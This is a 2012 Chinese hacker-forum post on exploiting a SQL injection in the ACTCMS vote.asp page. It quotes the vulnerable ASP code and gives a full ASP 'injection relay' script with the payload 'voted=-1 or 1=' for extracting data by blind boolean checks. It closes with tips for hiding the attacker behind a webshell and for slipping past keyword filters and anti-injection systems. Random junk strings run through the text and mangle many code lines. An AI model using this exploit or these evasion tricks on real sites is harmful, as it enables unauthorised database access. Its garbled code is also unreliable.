找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2060|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

( I* B, v: _0 F8 t) o# c0 `6 |/ P* j看到ninty大牛的blog的一篇文章1 I5 Q: e% ?2 g1 y
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
. I  Y  e" J2 m2 H" C关于actcms漏洞的利用  by 3x qq:381862589
0 H5 R7 I2 Z9 h- n, V6 }转载请注明以上, H* f( x- J( p6 a
漏洞文件:. w) p1 H! w1 p) k# k% a
/plus/vote/vote.asp
/ d7 e$ _9 u; Q: I% I% l; I: u代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
& r& F1 R- q) g  V
& I% ?1 m" U2 f" E2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
) z6 ^( O# y7 E
% ^# L* {9 N- l* P* B+ t( l$ k# r3    response.end    + I# {  ~# Y1 d, H, s

! \# ]: l- y6 F" Y3 q( J4    end if    6 Q  r4 F( u: o3 f! N. d0 ]7 \
; d5 [  f# l$ ~8 v/ R' Y! e' Z
5    for i=1 to request("voted").count    8 Z* D; y( e2 p7 d) h
4 z7 k! f7 T* m# Q) y
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
3 R$ p9 G/ a! A) |: @  k& _3 }; ~: y
7    next    5 v. P- T- O8 Y5 i3 w4 H

& q; W3 A3 Q, ~7 n/ i8....   
8 ]) l& n6 L: h3 p1 _% n" W3 ]% i% v  `$ H8 B5 O; m/ [
9response.Redirect "index.asp?id="&id&""   
. e8 X4 R9 i7 P7 P$ E投票结束回跳转回index.asp这个投票结果页面! C; H3 V% O/ i- O! v$ U
如果投票成功票数加1
. b3 s  L3 U" q0 A4 E; P            失败票数不变
! C/ y8 w6 g( L' z如图:
0 |" G- ]2 p9 M6 d9 r0 y2 S5 Bhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" b7 ?* |  S) R; g, {3 n
7 W. r9 ?# t; u, C* E7 ]: ?. x  ?9 V2009-12-27 13:20
3 N' u2 L# y! u& K: R
$ v9 K/ I  q" y# {利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
$ {; @. t* Z2 V
. ?% Q  |. A/ |" z; s* G8 B本帖隐藏的内容需要回复才可以浏览; P, d$ f& E  B% E" [( ~
我们用注入中转来实现这个注入具体代码如下:( x, q$ _* m# s0 O: w) k
先用寂寞的刺猬大牛的注入中转生成jmget.asp1 h$ l; P" r6 x9 G, D4 @
注入地址:http://localhost/actcms/plus/vote/vote.asp- b2 }0 ?, q* U
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项3 n: j; S) N4 z# e+ l
  m5 W7 D% C+ r/ Q% k0 Q
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% - F0 A3 J% V/ r) J+ t
/ o6 u) o/ g6 z8 r
02JmdcwName=request("jmdcw") 9 X  j3 v1 t* [( y6 G0 y1 u5 n

7 X; o* A  y$ M! O- J: U03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
' L2 _5 ~" U& C  q& ^. ^5 [7 ], q8 c3 f2 [: O4 \2 X! i0 h5 M+ [
04JmStr="id=1&voted=-1 or 1="&JmdcwName
) f( n0 F/ U( F8 p3 h& s# m( b- W+ {: l( B3 Q
05JmStr=URLEncoding(JmStr) $ n- R3 [& L% N. k
& j+ |# o2 [! X
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
5 Z* h/ f0 R6 a/ Y4 N/ [
7 i$ D* F6 S  h+ U* p* U& d07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
  A8 a, Q) ?; a. T
- @+ [% l6 I: U* D08testurl=testurl & "?" & JmStr
- T- [  ~0 L3 a' v3 i" F! \5 q; R; j6 b
09JMUrl=JMUrl & "?" & JmStr
' j1 z3 K/ R' [9 n! i! Z3 Q: X, j
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"6 a5 X7 \9 N3 h) C# j8 G5 c
8 W* s0 r7 {( ?1 U' e
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;") D; r4 Q8 M+ O

0 d) x! L3 S* ?  u1 J12JmCok=replace(JmCok,chr(32),"%20")  
( y% u/ S3 q7 j% T8 p
3 `+ u+ ~+ @5 ^. U! ]) v: U13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 d0 p0 U; y9 A
: m) h" k- r% m& |# W. m
14  
# u( Z+ |% B' L: D- x6 z
  e% o# h5 J# A: |! H2 ~& c15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
/ {, }5 m1 g: n, z; Q& z* D" u2 j2 X) z2 z# a
16  
& H. s1 J, J8 Q9 p3 Q, N
. J( o. r- U; E, A% @) @. v17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
/ W  G$ h8 B$ `% \! S2 b8 x& k
  U5 Y$ T$ q+ X; D, D% t( [; W4 e% V18response.write test1&""&test2&""
3 ], f# X4 ^: Y
5 P4 {2 n: R3 @+ D  r: W& D/ _19  ' `% t+ l# E$ Z! {$ H

) E, f# K9 u, c! p  n20if test1=test2 then '如前后记录相等,表示失败 : e4 |$ O( O+ J  o0 O, _
$ R+ Z! Q2 U7 X
21  response.write "failed"# l1 j0 x  E: _3 \3 D! B! {

4 j0 A0 C  {7 o/ k# O- M22else ) p  M- u- v( D# A1 C1 b8 i
2 C% M  F; ?1 c) q. e) z7 }
23  response.write "succeed"
+ H% ]+ ~8 E  M  F9 b# M/ c) Q9 f/ Q# p+ N8 K( e% q
24end if    _: m  Q! x$ d! ]( s

1 ~( U" J! ^6 }6 I5 h, v$ X25    h$ X) |& g7 N0 z2 \! y4 B7 M
/ U) @; n3 D. s9 f1 Y
26response.write "by 3x"
, [0 a- l! l% |: _5 S; A* m3 T1 P$ y& R, m7 I- R) ^6 s, g6 s) i. h
27  4 F0 C; l- i+ _6 H* F$ M
2 `+ q) b& O+ C& S7 B
28  
: J5 q6 I: ?1 N" r* e7 c
+ _% c4 F* l$ ?3 n+ {1 }8 h! [29Function PostData(PostUrl,PostStr,PostCok,PostRef)   8 |; d" I0 A) d! l$ \! U1 q' |

" [( Y& J6 Y5 _) P30Dim Http + f% W- l, y8 ^- x$ B) {: \

( a- E. B0 ?8 ~/ L  O0 l4 R31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 5 T5 c, Q& i$ H3 W
1 Y" U1 Z% S5 b
32With Http * L1 Y% Y! W, M! c+ L
: z7 }: T& d7 E. H
33  ; l! ^4 F! W1 m* q1 R

% I% |2 f6 h* k6 m34.Open "GET",PostUrl,False
2 g% Q" I( S# t  Z  \7 y5 A9 B
9 q- ]& e* B; T: K35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
9 A: x. l$ E7 H$ u( r
$ M: x$ X% U2 r4 E) g$ D# G36.SetRequestHeader "Referer",PostRef
" j5 ~2 i! q5 Z$ p& ]" d
# X# p1 c, x0 ]: o1 @" ]37.SetRequestHeader "Cookie",PostCok 1 k8 A: |2 v( M1 D- |1 h

% l8 u. j7 [! }; t38.Send () " S: @1 T& W- B

! m7 n3 D$ O3 {7 K" B4 O  k  `9 d39PostData = .ResponseBody " a- d/ S  U, w) @  }8 S; V
* ~; X1 M; V+ F  R* I
40End With
' D# L1 R+ y) a5 b/ x* \8 ^8 b
3 G+ c4 Z: e5 g, t% W% q41Set Http = Nothing/ d1 s* m  A) b* B( x
! S! w3 H& l' g+ z
42PostData =bytes2BSTR(PostData)
( v5 J" I- ~& o% @- Y8 N' l; A
: C  W; x  {. ]/ p4 r( i0 a- x43End Function6 a! S! \+ Q  l
1 _! T* k2 L" o3 l) y
44  4 r  b7 d( i! t

3 u5 V1 F9 S( ^0 s" T, z7 |$ x6 y45  4 T) t4 h) v5 q
* d5 C& `2 ?% [0 C  m7 Z- Q  j
46Function bytes2BSTR(vIn) ) b+ O9 D% L% P4 C7 A% j1 R
, o8 c% ]& X2 q6 k1 v; {
47Dim strReturn
1 o' _2 i3 |) k1 `9 p
! E: g2 X) Q' X48Dim I, ThisCharCode, NextCharCode % ~, V- \" {) F4 F. Z9 j

: v% S- a* [5 C) Z$ y49strReturn = ""/ \' G  w& p/ F2 b/ i1 Y8 F: v

7 ]& |% L. W; T& }50For I = 1 To LenB(vIn) 4 P: V& Y( }. Y/ a: a
# P9 H. z) d& Z* l- R
51ThisCharCode = AscB(MidB(vIn, I, 1))
# [: E* ?" n" V6 s+ r5 f5 i" X# u" {
52If ThisCharCode < &H80 Then
  A8 c3 c. E: |9 a
& u2 @1 @& l9 o4 W53strReturn = strReturn & Chr(ThisCharCode)
+ a1 ?) D/ s) i9 V: {+ k; X% _  e5 C0 y2 E2 E( F# |
54Else- o" A8 v7 }( L5 e% s6 Q' L
  w5 E. ?9 f& h$ E9 o
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
2 h7 }+ Y' ^# v; G, m$ n3 b1 w; T) a* R2 u# F9 [" ^
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ( z8 w" G+ N. e9 j% @! K
) i2 _- y) w% I$ B5 ?3 l
57I = I + 1
$ B: F5 d7 G! Y7 ]0 K' B
# l& f& C. {" r58End If
5 W3 K7 M/ q! @. K" K9 s& q+ G0 c, [; w
59Next$ @) E: J% d" `+ c

( ]$ Z( ?0 w. b+ f  j3 e& Y0 j60bytes2BSTR = strReturn , M/ @: C- k9 E" f- z% B/ d5 e3 L6 r

$ ?) T5 {. y. @1 ~0 I61End Function
$ M; Z) F3 e/ V  z2 w7 X7 a8 U) j) w) r) R
62  7 _/ |  T. D, b, @1 a, T# F

. e8 P! [! Y9 h/ B7 z: ~6 |1 Q63Function URLEncoding(vstrin)  ; E3 m, p4 H& w* |

' F6 c2 P* [! ?4 F: s: l' r64strReturn=""
! d8 I! U) D( p
+ d1 C/ D5 }* t  T9 L65Dim i
% {# v  q( o( |0 Z. L& m/ v3 d7 |. F% V3 s6 u5 X
66For i=1 To Len(vstrin) # N7 M$ J6 @  M$ ]

& ?; u7 o1 Y- Q5 i67ThisChr=Mid(vstrin,i,1) 7 W3 s1 B2 f; C; g9 R9 b! `8 o) I# b

! M8 S; d& r& I# a) f0 s6 _8 h2 X68if Abs(Asc(ThisChr))< &HFF Then) i  U0 e% ~/ h! _

# p4 o7 ^0 N7 K4 d6 {( w* @69strReturn=strReturn & ThisChr
2 `; @* G  Y8 i; B. e4 {! W6 r
6 s  F5 V% l9 S7 J. S70Else1 O/ U) U% Y" \; W) K
' d( z# t+ H  I* S2 i
71InnerCode=Asc(ThisChr)
" @; B+ Y" |$ z- z+ w
# b3 v* a% t- _72If InnerCode<0 Then" I4 a0 b: A' R" n' J
8 ?2 ^& S1 F7 V& D+ }
73InnerCode=InnerCode + &H10000 7 y0 [8 K' D" b4 D6 J/ p% [! ?5 k

5 h3 x3 u5 h6 a74End If
& l( j& k5 A" w( i
8 d6 U/ a3 T( l( i& a3 _75Hight1=(InnerCode And &HFF00) \&HFF , w8 x, Z' |0 D6 g5 a

" f; b, z0 X( m) d76Low1=InnerCode And &HFF 5 [; U- w  G" o% @" o

* z& J- Q& g! n4 Z) p7 u" r/ i' U77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) & E5 W0 @0 j4 o+ v: P0 O9 {

) @* H6 |; H" e* X7 N4 Q78End if / b4 C4 _1 ~9 o9 m* c) W' ^, `
& L( i" y9 V/ p* c
79Next
% V; [0 L/ a* T  v; F1 n) N% o* x* T  s1 K2 ]& y
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 `6 [$ F* X6 \$ o8 a3 J6 }- e
  R$ F: [( [6 E81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
+ r) K- ?, N6 M9 o1 I' I  j: g
$ x5 k: |0 I5 j+ K9 z6 R82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
  c# n  o, y5 X: x
6 V3 C9 K3 ]2 Z2 L* \8 o83URLEncoding=strReturn
  \& P, v1 Y8 j8 J& Q! z& c2 o& W$ A, _& G& `$ l
84End Function4 x9 r6 `9 a0 s5 U. S
- b- g% x, v4 F! r+ e" a  o
85  , D) a  c. Z6 J4 L* A; e$ v

  [9 }9 b2 Y( ^! O( ^( L6 P86function getSt(body) : r/ F+ `' T7 L) X2 A; V

( _  r& b& _  |+ v87  startpot=instr(body,"投票人数:")+len("投票人数:") / W) ^* X9 q) A0 }  F1 _% z( q

2 h; w% ]' F) B+ `8 c. l6 O88  endpot=instr(startpot,body," ")
& n7 _6 ]& G+ p5 j. ^# w/ S( L& e
# ?8 z) `0 o/ ^! ~0 c9 U6 f+ @; u89  getSt=mid(body,startpot,endpot-startpot) 3 V+ z& n6 @( R0 g0 n  }

' u% }2 c- |% M7 E3 g( D2 O90end function 4 r' P% `7 w/ a4 x+ t

$ T9 A# x) l7 v! M91%>
9 T! h' }' o; H6 Q  d1 v注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了: X' P* y8 i2 o0 v
测试下效果:3 C/ S5 n, K' c) ?  L4 p7 y
投票成功:
" N+ v# p, V) D( R  hhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 n! D0 Q) G) F- T  G( c
) W5 F, `$ G+ |% G0 R2009-12-27 13:29
" h% ?! X7 }4 Q投票失败
7 x+ C% M0 \  U+ i% O$ qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
' z" q, n; A$ v2 {/ v8 x% `' ?" Z' W+ |' G1 Q) J+ G* Q* i" e
2009-12-27 13:29& l0 \# _$ `  y  }6 i
-------------------------------------------------------------------------------
5 g; ~9 Y5 E5 [4 S再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以3 Y3 M! P$ I5 {% ^$ S; }% u
很抱歉。。。只能用单线程工具去注入。。。。。
: q1 I5 C/ v( N( l. e" u2 n所以失败。。。不好意思。。。: g* b/ L9 U1 J9 Z' F& R
-------------------------------------------------------------------------------" J+ V# G2 h4 f; p) B# g
# w8 K9 p  k6 g& N" j
注入中转的一些其他应用  ?  q! \2 _3 ~6 E
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了/ g, r/ [# z: Y; l4 l+ w) t
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id4 ^) S9 B  \7 `  p1 M
2.post注入转成get型的注入,方便我们使用工具来跑
) Z4 x6 j* ?% m, A: b6 V3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
+ O9 s* r0 ~1 ]# z4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
- N* F: @. m1 s( x, h9 h; x; O- ?% Q: F: S) e8 i5 J% A1 F- r4 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表